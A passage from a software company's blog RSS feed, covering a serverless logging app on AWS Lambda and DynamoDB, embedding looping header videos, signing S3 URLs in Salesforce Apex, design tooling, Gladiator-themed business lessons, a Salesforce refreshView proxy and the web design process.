<p>Messages can sometimes not be processed for a variety of reasons, including incorrect conditions in the producer or consumer application or an unanticipated state change that interferes with the code of your application. These messages are forwarded to the dead-letter queue. This way, you're able to run the processes again (you can set the maximum trials count in the Queue settings). Because they allow you to isolate unconsumed messages and figure out why&nbsp;their processing fails, dead-letter queues are helpful for debugging your application as well.</p>
<h3>Lambda Functions</h3>
<p>With the compute service Lambda, you may run code without setting up or maintaining servers. Additionally, you can utilise layers to organise your app, and even better, you can use these layers in other lambda functions. By doing this, you can segregate the core code components (helpers, DB/Storage connections, PyDantic models, etc.) and reuse them throughout all lambda functions in the application without having to duplicate the code.</p>
<p>I've created one base layer (UtilsLayer) where I've put the DynamoDB connection and pagination clients (from boto3), the base models that the functions will inherit, helper functions, etc. Pydantic and Lambda Powertools played a big role here.</p>
<h3>Lambda Powertools and PyDantic - the best combination for lambda functions data handling</h3>
<p>This is an awesome collection of Python tools for AWS Lambda functions that make it easier to implement best practices like tracing, structured logging, validation, events parsing, and many more. The automatic event parsing is just fantastic - nice syntax, quick validation, and data management. You can check how it works <a href="https://awslabs.github.io/aws-lambda-powertools-python/latest/utilities/parser/" target="_blank" rel="noopener noreferrer" title="automatic event parser">here</a>. Lambda Powertools can be used as a python package or directly as a layer in the application. Another very powerful aspect of this library is that it supports PyDantic. This raises the level of the application structure dramatically - you can implement the whole validation with just one decorator function (@parse_event). Feel free to check their documentation, it is worth it.</p>
<p>Here is an example of how Lambda Powertools and Pydantic are used together in the Logs Serverless Application.</p>
<p>You can see the base LogModel with all of its fields declared. It is located in the Utils Layer since all functions will use it.</p>
<pre class="language-python"><code>from aws_lambda_powertools.utilities.parser import BaseModel, Field

class LogModel(BaseModel):
    id: UUID = Field(default_factory=uuid4)
    account_id: int = Field(gt=-1)
    user_id: int = Field(gt=-1)
    type: str = Field(min_length=1)
    sub_type: str = Field(min_length=1)
    url: str = Field(min_length=1)
    payload: Optional[str] = Field(min_length=1)

    submitter_id: Optional[str]
    submitter_country: Optional[str]
    submitter_city: Optional[str]
    submitter_platform: Optional[str]
    submitter_browser: Optional[str]
    submitter_agent: Optional[str]

    created_at: datetime = Field(default_factory=datetime.now)

    def to_dict(self, *args, **kwargs):
        data = self.dict(*args, **kwargs)
        data['id'] = data['id'].hex

        # Now the account_id and user_id are BigInt in the MySQL
        # Converting them to string for future DB structure updates
        if isinstance(data['account_id'], int):
            data['account_id'] = str(data['account_id'])

        if isinstance(data['user_id'], int):
            data['user_id'] = str(data['user_id'])

        data['created_at'] = data['created_at'].isoformat()

        # Internal fields for the GSIs
        data['account_id#type'] = f'{data["account_id"]}#{data["type"]}'
        data['status'] = 'OK'

        return data</code></pre>
<p>And this is the LogsWriterFunction input validation model. It looks simple, doesn't it?</p>
<pre class="language-python"><code>from aws_lambda_powertools.utilities.parser.models import SqsModel, SqsRecordModel
from typing import List
from models import LogModel


class Params(SqsRecordModel):
    body: LogModel


class WriteLogModel(SqsModel):
    Records: List[Params]</code></pre>
<p>And now comes the best part - the handler method (LogsWriterFunction). The whole complex validation logic happens behind the scenes. The code is shorter, simpler, and nicely structured.</p>
<pre class="language-python"><code>@event_parser(model=WriteLogModel)
def lambda_handler(event: WriteLogModel, context: LambdaContext):
    for record in event.Records:
        save_log(record.body)

    return {"statusCode": 200}</code></pre>
<h3>DynamoDB</h3>
<p>Probably the most complex and hard-to-research part was the logs filtering. Unless you install ElasticSearch as an additional service to Dynamo, this database doesn't offer a lot of options for searching (or at least, efficient options for searching). Yes, you can search using the SCAN method instead of Query but it's slow and not recommended for a big amount of data. The real power of Dynamo is the storage partition separation - it's ideal for big data storing.</p>
<p>In this project, we benefit from one feature called "Global Secondary Index" or shortly - <a href="https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/GSI.html" target="_blank" rel="noopener noreferrer" title="Global Secondary Index - GSI">"GSI"</a>. It prevented us from creating a new ElasticSearch instance, which will be more expensive and will require maintenance. These indexes are a powerful tool for handling "not too complex" filtering cases.</p>
<p>A partition key and an optional sort key are required for each global secondary index. The base table schema and the index key schema can differ. It is possible to establish a global secondary index with a partition key as the composite primary key for a table with a simple primary key, or the opposite. Every GSI makes an internal duplicate&nbsp;of the main table, using the requested fields as partition and sort keys. This way, you can search and filter (by the sort key) very fast.</p>
<h4>GSIs</h4>
<ul>
<li>AccountIndex - used for filtering by account
<ul>
<li>Partition key: account_id</li>
<li>Sort key: created_at</li>
</ul>
</li>
<li>TypeIndex - used for filtering by type
<ul>
<li>Partition key: type</li>
<li>Sort key: created_at</li>
</ul>
</li>
<li>AccountTypeIndex - used for filtering by account and type simultaneously
<ul>
<li>Partition key: account_id#type</li>
<li>Sort key: created_at</li>
</ul>
</li>
<li>SortingIndex - used for sorting all available logs; used in the "all logs" API Endpoint - the SCAN method cannot sort the logs because they are in different partitions so this sort key is the only way to "cheat" and sort them. This method has a lot of cons but it's the only way for sorting the data. Because the data is located in one place, it's recommended to use it with a "limit" and pagination.
<ul>
<li>Partition key: status (it's set to "OK" for all records so all records are located in the same partition)</li>
<li>Sort key: created_at</li>
</ul>
</li>
</ul>
<h4>Other fields</h4>
<ul>
<li>id - UUID V4</li>
<li>account_id - string</li>
<li>user_id - string</li>
<li>type - string</li>
<li>sub_type - string</li>
<li>url - string</li>
<li>payload - string/json</li>
<li>submitter_id - string, optional</li>
<li>submitter_country - string, optional</li>
<li>submitter_city - string, optional</li>
<li>submitter_platform - string, optional</li>
<li>submitter_browser - string, optional</li>
<li>submitter_agent - string, optional</li>
<li>created_at - string, ISO 8601</li>
</ul>
<h3>AWS SAM - A Cloudformation Templates Translator</h3>
<p>The AWS Serverless Application Model (SAM) is an open-source framework for developing serverless apps. It offers a straightforward syntax for defining functions, APIs, databases, and mappings of event sources. You can define and model the application you want using YAML with just a few lines per resource. You can create serverless applications more quickly since SAM expands and translates the SAM syntax into AWS CloudFormation syntax during deployment.</p>
<p>The Serverless Application Model Command Line Interface (SAM CLI) is an extension of the AWS CLI that adds functionality for building and testing Lambda applications. It uses Docker to run your functions in an Amazon Linux environment that matches Lambda. It can also emulate your application's build environment and API. Using SAM CLI you can also easily deploy your application.</p>
<p>The best part is that the SAM templates are reusable - if you put them into a completely new account and deploy them using SAM CLI, everything will be set up after a few minutes.</p>
<p>The Logs Serverless Application uses SAM for creating the resources and their connections, for deployment and testing, most of the DevOps-related tasks in the project.</p>
<p>I hope this article gave you an overall idea of how powerful are the serverless application. Combined with tools like Lambda PowerTools can lead to amazing results and solutions.</p>
<h4>Happy Coding!</h4>]]></content:encoded>
            </item>
                    <item>
                <title>Using an embedded video as a design element</title>
                <link>https://mtr-design.com/news/using-an-embedded-video-as-a-design-element</link>
                <guid>https://mtr-design.com/news/using-an-embedded-video-as-a-design-element</guid>
                <pubDate>Sat, 27 Feb 2021 12:00:00 +0000</pubDate>
                <dc:creator>Ivaylo F</dc:creator>
                <description><![CDATA[<p>Recently I had a simple request from a client of ours &ndash; to use an embedded video as a design element in the header area of a page. It sounds simple, but it turned out to be tricky. Here are some of the options I found out during my experiments.</p>]]></description>
                <content:encoded><![CDATA[<h3>There were few requirements from the client:</h3>
<ol>
<li>The video must autoplay and loop smoothly.</li>
<li>The playback interface should be hidden since it's a design element, not an element of the page contents.</li>
<li>It should be easy for the site admins to upload new videos with high-quality and different duration.</li>
</ol>
<p>At first I've reviewed the possibility of storing the video files on the client's server and playing them directly, but this idea was quickly ruled out for one main reason &ndash; the smooth playback can't be guaranteed in a way a video streaming service can. There are many custom video streaming solutions available at different cost, but in this article I'll compare the quick and free options offered by the two major video content services &ndash; YouTube and Vimeo.</p>
<h3>Option 1: Using a self-hosted mp4/webp video</h3>
<p>Like I mentioned earlier, using a self-hosted solution for the videos was my first idea, because of the straightforward embedding via a simple HTML5 tag, the clean interface and full control over the playback options. These advantages however were not enough to outweigh the biggest drawback &ndash; we can't guarantee a smooth playback, especially for longer videos, which cause greater server loads and there isn't a sophisticated buffering like the one offered by a video streaming service. A locally stored video file can be used if you have a couple of pre-selected short clips for background effects for example, but since the client will need a variety of longer clips and intros, which will be updated regularly, this won't be a viable option for them.</p>
<p>Nevertheless, here is what you get when placing an HTML5 video tag. You can remove the playback controls by omitting the &ldquo;controls&rdquo; attribute of the video tag. We will need the autoplay and loop attributes for our header video. There's an important note though. In order to ensure that the autoplay will work properly, you must add the &ldquo;muted&rdquo; attribute to the tag, otherwise the user's browser will pause the video due to the audio in it.</p>
<pre class="language-markup"><code>&lt;video muted autoplay loop&gt;
  &lt;source src="short-intro.mp4" type="video/mp4"&gt;
  Your browser does not support the video tag.
&lt;/video&gt;</code></pre>
<p><video width="1000" height="586" style="max-width: 100%; height: auto;" controls="controls">
  <source src="/storage/var/images/news/using-embedded-video/html5.mp4" type="video/mp4" />
  Your browser does not support HTML video.</video></p>
<h3>Option 2: Embedding a YouTube video</h3>
<p>Using a popular video streaming platform was the way to go. First I started testing YouTube and it's embedded video features. Unfortunately I was quickly disappointed by the poorly <a href="https://developers.google.com/youtube/player_parameters" target="_blank" rel="noopener noreferrer">documented parameters</a>. For example I've set &ldquo;autoplay=1&rdquo;, but nothing happened. Of course the issue was the audio again which causes the browser to disable the autoplay. After some googling I found the mute parameter I needed, which wasn't mentioned in the docs: &ldquo;mute=1&rdquo;. The autoplay issue was solved, but I've stumbled upon a&nbsp;few <a href="https://developers.google.com/youtube/player_parameters#Revision_History" target="_blank" rel="noopener noreferrer">deprecated parameters</a>, which no longer hide interface elements such as video title and the list of suggested videos in the end. The last straw was the jagged looping and the required &ldquo;hack&rdquo; to make it work. You must add &ldquo;playlist=&rdquo; parameter with the same URL as the main video in order to enable the loop and it still isn't seamless (see the video below).</p>
<pre class="language-markup"><code>&lt;iframe width="930" height="523"
  src="https://www.youtube.com/embed/-btiginol88?
  playlist=-btiginol88&amp;
  autoplay=1&amp;
  controls=0&amp;
  mute=1&amp;
  rel=0&amp;
  loop=1&amp;
  modestbranding=1&amp;
  autohide=1&amp;
  showinfo=0"
  frameborder="0"
  allow="accelerometer; autoplay; loop; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;
&lt;/iframe&gt;</code></pre>
<p><video width="1000" height="586" style="max-width: 100%; height: auto;" controls="controls">
  <source src="/storage/var/images/news/using-embedded-video/youtube.mp4" type="video/mp4" />
  Your browser does not support HTML video.</video></p>
<h3>Option 3: Embedding a Vimeo video</h3>
<p>After the disappointment with YouTube I turned to Vimeo. I was pleasantly surprised by their <a href="https://developer.vimeo.com/player/sdk/embed" target="_blank" rel="noopener noreferrer">simple and useful documentation</a>. I was able to set the parameters I need right away. They've even mentioned the required &ldquo;muted&rdquo; parameter for the autoplay. Their interface is a lot cleaner and the looping is excellent. My only issue was that I can't hide the controls completely. The parameter &ldquo;controls=0&rdquo; seems to work only for <a href="https://vimeo.zendesk.com/hc/en-us/articles/360001494447-Using-Player-Parameters" target="_blank" rel="noopener noreferrer">paid plans</a>.</p>
<pre class="language-markup"><code>&lt;iframe src="https://player.vimeo.com/video/58253485?
  autoplay=1&amp;
  loop=1&amp;
  controls=0&amp;
  color=ffffff&amp;
  title=0&amp;
  byline=0&amp;
  portrait=0&amp;
  muted=1"
  style="position:absolute;top:0;left:0;width:100%;height:100%;"
  frameborder="0"
  allow="autoplay; fullscreen" allowfullscreen&gt;
&lt;/iframe&gt;
&lt;script src="https://player.vimeo.com/api/player.js"&gt;&lt;/script&gt;</code></pre>
<p><video width="1000" height="586" style="max-width: 100%; height: auto;" controls="controls">
  <source src="/storage/var/images/news/using-embedded-video/vimeo.mp4" type="video/mp4" />
  Your browser does not support HTML video.</video></p>
<p>My choice was option 3, even though I wasn't able to hide the interface completely in the free plan, it was still the cleanest and smoothest option of the mentioned above.</p>]]></content:encoded>
            </item>
                    <item>
                <title>How to create a presigned URL for AWS S3 using Apex</title>
                <link>https://mtr-design.com/news/how-to-create-a-presigned-url-for-aws-s3-using-apex</link>
                <guid>https://mtr-design.com/news/how-to-create-a-presigned-url-for-aws-s3-using-apex</guid>
                <pubDate>Wed, 03 Feb 2021 12:00:00 +0000</pubDate>
                <dc:creator>Desislav M</dc:creator>
                <description><![CDATA[<p>Have you ever needed to sign AWS S3 links in Salesforce? If you are here - it seems the answer is yes. For those of you who are not sure why you need an S3 links signing - I&rsquo;m sure that you heard at least once in the IT news about some big company&rsquo;s data that was leaked from their cloud. Most of the time it&rsquo;s because they did not configure the public access to their buckets properly, in case they are using AWS S3.</p>]]></description>
                <content:encoded><![CDATA[<p>Locking the read access to the bucket makes all links to the resources to not have a public access. And depending on how you will use those S3 resources, you may need to provide a temporary way to access them. Such a way is to sign an AWS S3 link, which gives that link a specified lifespan of public access. After the link expires it becomes invalid and the resource is again protected from public accessing.</p>
<p>As a Salesforce guy/gal, you know there are a lot of limitations. One of them is the size of the memory during Apex execution, which limits us to implement a full backend solution for AWS S3 resource manipulation. No one wants resource size restrictions like a maximum files size of 12MB. Digging in that direction would be pointless and expensive. The other solution is to sign an AWS S3 resource link and allow the Salesforce user to access that resource for specified time, by calling simple and lightweight Apex.</p>
<p>I&rsquo;m sure that you already found several very short code snippets that sign links. I was on the same boat. I&rsquo;ve spent several hours testing snippets and digging for other solutions, but so far nothing worked for me. I ended up on <a href="https://docs.aws.amazon.com/AmazonS3/latest/API/s3-api.pdf" target="_blank" rel="noopener noreferrer">AWS S3 API documentation</a> and decided to get my hands dirty.</p>
<p>According to the documentation, in order to sign the link to an S3 resource, we need to create and append a signature to that link. The current signature version is v4, so that&rsquo;s the version we are going to use in this article.</p>
<p>Before we get to the real signature code, we need to implement one helper function - UriEncode. I know that Apex already has one - <a href="https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_classes_restful_encodingUtil.htm" target="_blank" rel="noopener noreferrer">EncodingUtil.urlEncode</a>, but it differs a little bit and this makes it unsuitable for this signature generation - It does not have an option for not encoding the slash symbol, which is important here. Fortunately, AWS S3 documentation provides a source code in Java for that function with the desired option. Here&rsquo;s its Apex equivalent:</p>
<pre class="language-javascript"><code>String UriEncode(String input, Boolean encodeSlash) {
    String result = '';

    for (Integer i = 0; i &lt; input.length(); i++) {
        String ch = input.substring(i, i + 1);

        if ((ch &gt;= 'A' &amp;&amp; ch &lt;= 'Z') || (ch &gt;= 'a'
           &amp;&amp; ch &lt;= 'z') || (ch &gt;= '0' &amp;&amp; ch &lt;= '9') || ch == '_' ||
           ch == '-' || ch == '~' || ch == '.') {
           result += ch;
        } else if (ch == '/') {
           result += encodeSlash ? '%2F' : ch;
        } else {
            String hexValue = EncodingUtil.convertToHex(Blob.valueOf(ch)).toUpperCase();

            if (hexValue.length() == 2) {
                result += '%' + hexValue;
            } else if (hexValue.length() == 4) {
                result += '%' + hexValue.substring(0, 2) + '%' + hexValue.substring(2);
            }

        }
    }

   return result;
}</code></pre>
<p>Here is the important method:</p>
<pre class="language-javascript"><code>public static String getSignedURL(String accessKey, String secretKey, String bucketName, String bucketRegion, String location, String file, Integer expires) {
   Datetime currentDateTime = Datetime.now();
   String dateOnly = currentDateTime.formatGmt('yyyyMMdd');
   String req =  dateOnly + '/'+ bucketRegion +'/s3/aws4_request';
   String xAmzCredentialStr = accessKey + '/' + req;
   String xAmzDate = currentDateTime.formatGmt('yyyyMMdd\'T\'HHmmss\'Z\'');
   String xAmzSignedHeaders = 'host';
   String host = bucketName + '.s3.'+ bucketRegion +'.amazonaws.com';

   String canonicalRequest =
           'GET\n' +
           '/' + UriEncode(file, false) + '\n' +
           UriEncode('X-Amz-Algorithm', true) + '=' + UriEncode('AWS4-HMAC-SHA256', true) + '&amp;' +
           UriEncode('X-Amz-Credential', true) + '=' + UriEncode(xAmzCredentialStr, true) + '&amp;' +
           UriEncode('X-Amz-Date', true) + '=' + UriEncode(xAmzDate, true) + '&amp;' +
           UriEncode('X-Amz-Expires', true) + '=' + UriEncode(String.valueOf(expires), true) + '&amp;' +
           UriEncode('X-Amz-SignedHeaders', true) + '=' + UriEncode(xAmzSignedHeaders, true) + '\n' +
           'host:'+host + '\n\n' +
           'host\n' +
           'UNSIGNED-PAYLOAD';

   String stringToSign =
           'AWS4-HMAC-SHA256\n'+
           xAmzDate + '\n' +
           req + '\n' +
           EncodingUtil.convertToHex(
                   Crypto.generateDigest('SHA-256', Blob.valueOf(canonicalRequest))
           );


   Blob dateKey = Crypto.generateMac('hmacSHA256', Blob.valueOf(dateOnly), Blob.valueOf('AWS4' + secretKey));
   Blob dateRegionKey = Crypto.generateMac('hmacSHA256', Blob.valueOf(bucketRegion), dateKey);
   Blob dateRegionServiceKey = Crypto.generateMac('hmacSHA256', Blob.valueOf('s3'), dateRegionKey);
   Blob signingKey = Crypto.generateMac('hmacSHA256', Blob.valueOf('aws4_request'), dateRegionServiceKey);

   Blob signature = Crypto.generateMac('hmacSHA256', Blob.valueOf(stringToSign), signingKey);
   String signatureStr = EncodingUtil.convertToHex(signature);


   return location + '?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=' + EncodingUtil.urlEncode(xAmzCredentialStr, 'UTF-8') + '&amp;X-Amz-Date=' + xAmzDate + '&amp;X-Amz-Expires=' + String.valueOf(expires) +'&amp;X-Amz-Signature=' + signatureStr + '&amp;X-Amz-SignedHeaders=host';
}</code></pre>
<p>The required parameters should be self-explanatory, but just in case here are their meanings:</p>
<ul>
<li>accessKey - the AWS S3 access key;</li>
<li>secretKey - the AWS S3 secret key;</li>
<li>bucketName - name of our target AWS S3 bucket;</li>
<li>bucketRegion - region name for our AWS S3 bucket;</li>
<li>location - full url to the desired file;</li>
<li>file - it is the part after amazonaws.com without a leading slash;</li>
<li>expires - link timeout in seconds which starts to count down at the end of getSignedUrl method invocation.</li>
</ul>
<p>And at the end here is an example method invocation with test data:</p>
<pre class="language-javascript"><code>String signedUrl = YourClassNameHere.getSignedURL('s3-access-key-here', 's3-secret-key-here', 'your-s3-bucket', 'eu-west-1', 'https://your-s3-bucket.s3.eu-west-1.amazonaws.com/some-folder/my-target-file.jpeg', 'some-folder/my-target-file.jpeg', 30);</code></pre>
<p>It generates a signed link with a validity of 30 seconds.<br />No additional settings are required in Salesforce in order to use this AWS S3 link signing, except the storage of your AWS S3 credentials.</p>
<p>That&rsquo;s all. Simple, isn&rsquo;t it?</p>
<p>Happy signing ;)</p>]]></content:encoded>
            </item>
                    <item>
                <title>The era of the prototyping tools for UI/UX - is Photoshop dead?</title>
                <link>https://mtr-design.com/news/the-era-of-the-prototyping-tools-for-ui-ux-is-photoshop-dead</link>
                <guid>https://mtr-design.com/news/the-era-of-the-prototyping-tools-for-ui-ux-is-photoshop-dead</guid>
                <pubDate>Tue, 12 Jan 2021 12:00:00 +0000</pubDate>
                <dc:creator>Ivaylo F</dc:creator>
                <description><![CDATA[<p>In the process of creating an UI design it's important to have mock-ups ready as quickly as possible to share and discuss with the client. This is why the prototyping tools such as Adobe XD, Figma and Sketch significantly changed the world of UI/UX design. But what happened with the &ldquo;father&rdquo; of them all - Adobe Photoshop? Is there a place for it in a modern web design company's toolbox?</p>]]></description>
                <content:encoded><![CDATA[<p>In this article I'd like to share my thoughts about the necessary tools in my work, how I use them and see how they've developed during the past years.</p>
<h2>It all began with Photoshop</h2>
<p>In the good old days every designer had to be familiar with Photoshop when they started working in the web design industry. Even when at a later stage some early prototyping tools started to appear, for almost two decades Photoshop was &ldquo;the tool&rdquo; to use when you want professional UI design. It provided unlimited freedom to create sophisticated interfaces &ndash; from the simplest icons and pop-ups to the detailed hero banners with ads and promos. It worked fine as a design tool, but there were few major drawbacks that all web companies and designers had to accept unwillingly &ndash; it was expensive, its interface was heavy and overwhelming while you basically used less than 10% of its options for your everyday UI/UX work. Not to mention how difficult it was for the front-end developers who had to learn to use Photoshop and all its complicated options in order to slice a simple web design into markup.</p>
<h2>The era of the prototyping tools</h2>
<p>There were some prototyping tools during the &ldquo;reign&rdquo; of Photoshop, such as Sketch, which was launched in 2010, although being an iOS tool only tool is a bit limiting. For me, personally, the big change came after 2016 with the launch of Adobe XD and Figma. I have to admit that I was skeptical about prototyping tools in general back then and I was an avid supporter of Photoshop. In the first couple of years I've ignored Adobe XD as a viable option for UI and web design &ndash; for me it was simply an UX wireframing tool. After some time I decided to give it a chance and I've realised how much I needed such a tool in my work. The first thing I noticed was the drastic difference in the interface. It was so simple, compared to Photoshop, that at first I had doubts that I'll be able to create an actual, complete UI design with it. It was difficult to adjust to not being able to edit every single detail, but then I've realised that I have all essential tools I need for creating the layout and it's not necessary to have a full arsenal of image retouching options while thinking about the UI. It might sound like a teleshop commercial, but I was truly amazed how I was able to create a website's homepage layout, both desktop and mobile for less than 1/3 of the time it would've taken to do it in Photoshop. Bear in mind that I wasn't familiar with Adobe XD's interface at all.</p>
<p>I&rsquo;ve also had the chance to try out Figma in a few projects and I&rsquo;m truly impressed with it. Its browser app is light, quick and I love some of the clever features it&rsquo;s got, such as the Inspect sidebar widget where you can directly preview the CSS properties of an element or the live collaboration, where you can edit a layout with your colleagues, by seeing each other&rsquo;s cursor in real time.</p>
<p>The other groundbreaking advantage of the prototyping software is the ease of use for people who are not graphic designers. Any front-end developer would love the simple interface, since they no longer need to &ldquo;slice&rdquo; an overcomplicated image of the design. In a prototyping tool they can quickly export images, icons, texts and inspect an element&rsquo;s properties with a single click, making it easier for them to focus on building the HTML/CSS, instead of fighting with image editing interfaces, like it was in Photoshop. This ease of use speeds up the design process and the interaction with the clients significantly which is of utter importance for every web design company.</p>
<h2>So is this the end of Photoshop in web design?</h2>
<p>I dare to say we are about to see a generation of web designers who haven't even used Photoshop in their careers. Although many web development companies might not need Photoshop on their computers, it'll always be needed for the professional web designer. The fact is that the modern designs are getting cleaner and almost 90% of the elements are either pure CSS3 or SVG/PNG graphics and imagery, but there are still 10% for sophisticated interfaces with complicated graphics that need to be sliced or banner images that need to be created in a full-scale image creation software, such as Photoshop.</p>]]></content:encoded>
            </item>
                    <item>
                <title>6 lessons learned for business and business of software from the &#039;Gladiator&#039; movie</title>
                <link>https://mtr-design.com/news/6-lessons-learned-for-business-and-business-of-software-from-the-gladiator-movie</link>
                <guid>https://mtr-design.com/news/6-lessons-learned-for-business-and-business-of-software-from-the-gladiator-movie</guid>
                <pubDate>Tue, 15 Dec 2020 09:50:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p>Everyone loves a good story, and this time I&rsquo;ll tell you about my favorite.<br />"The general who became a slave. The slave who became a gladiator. The gladiator who defied an emperor. A striking story. Now the people want to know how the story ends&hellip;"</p>]]></description>
                <content:encoded><![CDATA[<h3 style="padding-bottom: 0px;">Lesson #1:</h3>
<h4>Did you see any freelancers here? If you want exceptional team performance, you need experienced and battle-tested people you can trust.</h4>
<p><img src="/storage/var/images/news/6-lessons-from-the-gladiator/lesson1.jpg" alt="General. General." caption="false" width="800" height="344" /></p>
<h3 style="padding-bottom: 0px;">Lesson #2:</h3>
<h4>Teamwork isn&rsquo;t just a word. It can be the only difference between failure and success.</h4>
<p><img src="/storage/var/images/news/6-lessons-from-the-gladiator/lesson2-1.jpg" alt="Whatever comes out of these gates, we&rsquo;ve got a better chance of survival if we work together. Do you understand? If we stay together, we survive." caption="false" width="800" height="344" /></p>
<p><img src="/storage/var/images/news/6-lessons-from-the-gladiator/lesson2-2.jpg" caption="false" alt="Lock your shields. Stay as one!" width="800" height="344" /></p>
<p>{{ newsletter }}</p>
<h3 style="padding-bottom: 0px;">Lesson #3:</h3>
<h4>Strength and honour. Leader&rsquo;s job is to lead and inspire others. People follow only those they trust.</h4>
<p><img src="/storage/var/images/news/6-lessons-from-the-gladiator/lesson3.jpg" alt="At my signal, unleash hell." caption="false" width="800" height="344" /></p>
<h3 style="padding-bottom: 0px;">Lesson #4:</h3>
<h4>The only way to lead is by example. Get your hands dirty. Take care of your people and let them do their best.</h4>
<p><img src="/storage/var/images/news/6-lessons-from-the-gladiator/lesson4.jpg" caption="false" width="800" height="344" /></p>
<h3 style="padding-bottom: 0px;">Lesson #5:</h3>
<h4>All great leaders have mentors, even to remind them something they already know.</h4>
<p><img src="/storage/var/images/news/6-lessons-from-the-gladiator/lesson5.jpg" alt="Ultimately, we&rsquo;re all dead men. Sadly, we cannot choose how, but we can decide how we meet that end in order that we are remembered as men." caption="false" width="800" height="344" /></p>
<h3 style="padding-bottom: 0px;">Lesson #6:</h3>
<h4>No one can control everything. The ancient Greek philosopher Epictetus said it best: "Make the best use of what is in your power, and take the rest as it happens."</h4>
<p><img src="/storage/var/images/news/6-lessons-from-the-gladiator/lesson6.jpg" alt="Death smiles at us all, all a man can do is smile back." caption="false" width="800" height="344" /></p>
<h3 style="padding-bottom: 0px;">Bonus Lesson:</h3>
<h4>Daily Standups are funny if done without stakeholders :)</h4>
<p><video width="800" height="332" style="max-width: 100%; height: auto; border: 2px solid #d5dde7;" loop="loop" controls="controls">
  <source src="/storage/var/images/news/6-lessons-from-the-gladiator/bonus-lesson.mp4" type="video/mp4" data-mce-src="/storage/var/images/news/6-lessons-from-the-gladiator/bonus-lesson.mp4" />
  Your browser does not support HTML video.</video></p>]]></content:encoded>
            </item>
                    <item>
                <title>Salesforce mini how to: RefreshView alternative for LWC</title>
                <link>https://mtr-design.com/news/salesforce-mini-how-to-refreshview-alternative-for-lwc</link>
                <guid>https://mtr-design.com/news/salesforce-mini-how-to-refreshview-alternative-for-lwc</guid>
                <pubDate>Wed, 09 Dec 2020 03:25:00 +0000</pubDate>
                <dc:creator>Desislav M</dc:creator>
                <description><![CDATA[<p>Did you notice that most of the components in details or other tabs in the record page are self refreshing when any action is performed on the main record? This behavior is made with an Aura event called &ldquo;refreshView&rdquo;. It is very handy - if you handle this event, it will tell you to refresh your component data. If you dispatch this event, it will tell the other components in the current page to refresh their components data.</p>]]></description>
                <content:encoded><![CDATA[<p>Did you try this with LWC? Yes... there is no alternative for Lightning Web Components. This means that your LWC are unable to handle such an event and they are unable to dispatch it too.</p>
<p>Reviewing the source code of Aura shows that events in Aura are handled in a way that is not suitable for LWC. The solution is straightforward - a proxy Lightning component to handle and dispatch &ldquo;refreshView&rdquo; events between Lightning and LWC.</p>
<h3>So, let's dive into the code</h3>
<pre class="language-markup"><code>&lt;aura:component description="refreshView4LWC" implements="force:appHostable,flexipage:availableForAllPageTypes,force:hasRecordId"&gt;
 &lt;aura:handler name="init" value="{! this }" action="{! c.onInit }" /&gt;
 &lt;aura:handler event="force:refreshView" action="{! c.onRefreshView }" /&gt;
&lt;/aura:component&gt;


({
 onRefreshView: function (component, event, helper) {
   document.dispatchEvent(new CustomEvent("lwc://refreshView"));
 },

 onInit: function (component, event, helper) {
   document.addEventListener("aura://refreshView", () =&gt; {
     $A.get('e.force:refreshView').fire();
   });
 }
});</code></pre>
<p>That&rsquo;s it. Very simple proxy Lightning component. The component is invisible, so it won't break your UX.</p>
<p>{{ newsletter }}</p>
<h3>Here is our example LWC component which uses this proxy:</h3>
<pre class="language-javascript"><code>import {LightningElement} from 'lwc';
import { ShowToastEvent } from 'lightning/platformShowToastEvent';

export default class RefreshExampleLwc extends LightningElement {
 constructor() {
   super();

   document.addEventListener("lwc://refreshView", () =&gt; {
       const evt = new ShowToastEvent({
           title: "Info",
           message: "received refreshView event",
           variant: "info",
       });
       this.dispatchEvent(evt);
   });
 }

 refreshViews() {
   document.dispatchEvent(new CustomEvent("aura://refreshView"));
 }
}</code></pre>
<p>As you can see - you will need to attach an event listener in the document and start listening for <code>lwc://refreshView</code>. For notifying the other components to refresh themselves - you can simply dispatch custom event <code>aura://refreshView</code>.</p>]]></content:encoded>
            </item>
                    <item>
                <title>How a web design is created (and what actually the designer does)?</title>
                <link>https://mtr-design.com/news/how-a-web-design-is-created-and-what-actually-the-designer-does</link>
                <guid>https://mtr-design.com/news/how-a-web-design-is-created-and-what-actually-the-designer-does</guid>
                <pubDate>Thu, 03 Dec 2020 10:17:00 +0000</pubDate>
                <dc:creator>Ivaylo F</dc:creator>
                <description><![CDATA[<p>Being a web designer for more than 15 years, I often hear comments like &ldquo;Oh, you make web designs, so you just draw pretty mock-ups?&rdquo; That's just partly the truth. The true web designers are not just visual artists. They have to get their feet wet in the technical side, as well as to have skills of marketers and even copywriters. In this article I'll share what&rsquo;s our team&rsquo;s process of creating a web design, start to finish, from the designer's perspective.</p>]]></description>
                <content:encoded><![CDATA[<h3>1. Planning out the project</h3>
<p>Everything starts with the client's idea and requirements. Even before drawing a single line of the wireframe, I have to discuss and understand the details of the project. That's not just the project manager's job &ndash; the designer must get familiar with every aspect of the task - from studying the client&rsquo;s business field in detail, what are their marketing goals, through the back-end and all required functionalities. After all, the UI/UX is what the end user sees and its design must present in the best way possible all of the app's features. If I, as a designer, am not completely aware of the features, how they work and what's their application, I might translate them poorly in the UX, decreasing the entire project's value.</p>
<p>In most projects the client has already made more or less detailed study of the competitors and what they offer in their products, but nevertheless, I should make a market study on my own and get really familiar with the field of the given project. I have to become a part of this field, learn the terms, specifics and see what are the norms and best practices used by the competitors. This way I can be sure that I truly understand the project and will be able to create a design that stands out in the market.</p>
<h3>2. Starting the work and splitting the development and design processes</h3>
<p>After the project's specifications are done and confirmed, the actual build process starts. The tasks are mainly split in two areas &ndash; back-end structure and development and designing the front-end. The development team chooses the best framework, tools, plans out the web admin interface, the database and the overall infrastructure and starts building the project from the ground up. In the meantime, I start creating initial mock-ups for layouts of the front-end by sketching out the main elements and clarifying the user journeys for each major piece of functionality. It's important to have rough (low-fidelity) mock-ups as early as possible so I can easily discuss them with the dev team and the client. This way we might catch potential issues which are missed in the initial planning process and suggest the necessary back-end changes in time.</p>
